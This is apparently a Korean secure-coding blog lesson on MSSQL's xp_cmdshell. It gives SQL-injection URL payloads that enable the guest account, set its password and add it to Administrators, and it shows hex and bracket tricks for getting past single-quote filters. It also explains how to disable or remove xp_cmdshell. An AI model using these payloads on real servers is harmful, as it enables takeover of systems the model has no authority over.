본문 바로가기

시큐어코딩 강의

시큐어코딩 강의 - MSSQL SERVER의 가장 큰 취약점 xp_cmdshell

게으른 데이터베이스 운영자에 의해 MSSQL 서버를 sa계정으로 운영하여 SQL-Injection 취약점으로 인해 웹서버가 접속되도록 만들어주는 xp_cmdshell

http://victim.com/research_name=';EXEC xp_cmdshell 'net user guest /active:yes'-- 
// guest 활성화



http://victim.com/research_name=';EXEC xp_cmdshell 'net user guest test'-- 
// guest 계정 password 변경(test)

http://victim.com/research_name=';EXEC xp_cmdshell 'net localgroup Administrators guest /add'-- 
// 관리자그룹에 guest 추가




원격터미널로 접속 고고씽



xp_cmdshell stored procedure 해제 방법
1) sp_dropextendedproc 사용
USE MASTER
IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN 
   EXEC sp_dropextendedproc 'xp_cmdshell' 
END

2) sp_configure 사용
Exec sp_configure 'show advanced options',1
Exec sp_configure 'xp_cmdshell',0
Reconfigure

xp_cmdshell stored procedure 복원
exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'

xp_cmdshell stored procedure 완전히 삭제하는 방법
xplog70.dll 삭제 (path: C:\Program Files\Microsoft SQL Server\MSSQL\Binn)

xplog70.dll 놈과 종속된 놈들
xp_sscanf 
xp_sprintf 
xp_msver // mssql 상세 version 
xp_enumgroups // 그룹정보
xp_logevent 
xp_loginconfig // login mode, default login, default domain, audit level, set hostname 정보확인



파라미터 값에 single quote(')를 막아놨을 경우  아래와 같은 방법으로 우회 가능

1) exec master.dbo.sp_addlogin @loginame=0x0074006500730074
헥사를 사용해서 하는 방법은 @loginame과 같이 변수명이 지정된 프로시저라야 한다. 
sp_addlogin과 같은 프로시저는 변수명이 지정되어 있지만 xp_cmdshell과 같은 어떤 것은 변수명이 지정되어 있지 않다. 
이런 경우는 다른 방법이 있다.

2) exec master.dbo.xp_cmdshell [net user /add test test]
이 방법은 MSSQL에서 컬럼명이 예약어와 겹치는 경우 대괄호를 이용해서 실행하는 것을 떠올려서 찾았다.